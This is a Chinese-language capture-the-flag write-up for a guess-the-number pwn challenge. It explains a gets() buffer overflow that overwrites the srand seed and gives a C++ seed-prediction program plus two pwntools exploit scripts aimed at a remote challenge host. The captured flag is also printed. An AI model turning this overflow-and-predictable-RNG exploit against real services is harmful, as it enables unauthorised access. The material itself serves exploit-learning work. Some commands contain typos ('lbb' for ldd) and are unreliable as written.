查看保护
好家伙,不留活口(;´д`)ゞ
IDA
逻辑很简单,输入名字后,程序会生成一个随机数种子,然后循环10次以下操作:
输入一个数,这个数和本次随机循环数值除以6的余数+1是否相等,相等则跳转到函数 sub_C3E() ,这里面直接有 system(“cat flag”);
分析
10次随机数必不能每次都对,所以得想办法绕过随机数或者修改随机数种子,让其种子固定则其生成的随机数也固定。
本体最有可能栈溢出的地方就是gets,gets获取输入存到v7,进入v7看看有没有漏洞:
可以看到v7下面就是seed,相隔0x20(这里在后面写exp的时候粗心搞成十进制,不停报错……)而gets是识别到\00才结束读取,所以我们可以填满v7然后再修改seed的值。
注意,这里seed[2]看上去只有两个元素,但是它是unsigned int 四字节,可以填充四个
tips:rand()函数 产生的是伪随机数 依靠srand()来产生随机数 如果 srand的参数相同 那么rand产生的随机数相同
填充之后seed的值固定,我们获取其固定的随机数,然后再第二次输入时填入,即可跳转到 cat flag
EXP
求srand的随机数:(linux下g++编译)
#include<iostream>
using namespace std;
int main(){
int num;
srand(0x61616161);//aaaa的16进制
for(int i=0;i<10;i++){
num=rand()%6+1;
cout<<num;
}
cout<<endl;
}
求得随机数:5646623622。用其挨个输入:
from pwn import *
p=remote('220.249.52.134',49483)
p.recvuntil("your name!")
#p.sendline('a'*0x20+'2222')#p64(1111))
#p.sendline('a'*0x20+'2'*4)
# 1111 num=['1','3','1','2','5','6','4','2','6','1']
#num=['1','5','3','4','5','6','2','5','2','2']
#5646623622
num=["5","6","4","6","6","2","3","6","2","2"]
for i in num:
#p.recvuntil("Please input your guess number:")
#p.sendline(num[i])
p.sendlineafter("Please input your guess number:",i)# 二合一写法
p.interactive()
flag
flag!cyberpeace{e28f0340a7caeb0eb70957770af80ae9}
坑&填坑
1.输入部分exp中的’aaaa’换成’2’*4,结果报错(已用c++ 求出2222的随机数种子)疑惑
2.本题捣巧了,可以再本地用固定seed生成的固定伪随机数进行输入。这题的考点应该是libc库:
在python里面调用srand函数和rand函数时,可以引入C++库,
可以通过ldd来查看可执行程序的依赖库文件。
可惜以上是知识盲区ORZ
填坑:
glibc 和 libc 都是 Linux 下的 C 函数库。
libc 是 Linux 下的 ANSI C 函数库;glibc 是 Linux 下的 GUN C 函数库。
查看可执行程序的依赖库文件:lbb 文件目录/文件名
找到后在exp里调用该库的目录:
libc = cdll.LoadLibrary(“库地址/库名”)
EXP
#coding=utf-8
from pwn import *
from ctypes import *
#context.log_level = 'debug'; #开启后可以看到输入过程
p=remote('220.249.52.134',49483)
# 在Linux里调用 c++库
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = "a" * 0x20 + p64(1)
p.recvuntil('Your name:')
p.sendline(payload)
libc.srand(1) #用固定种子 1 ,调用c库:在库名前+ libc.
for i in range(10):
num = str(libc.rand()%6+1)
p.recvuntil('number:')
p.sendline(num)
p.interactive()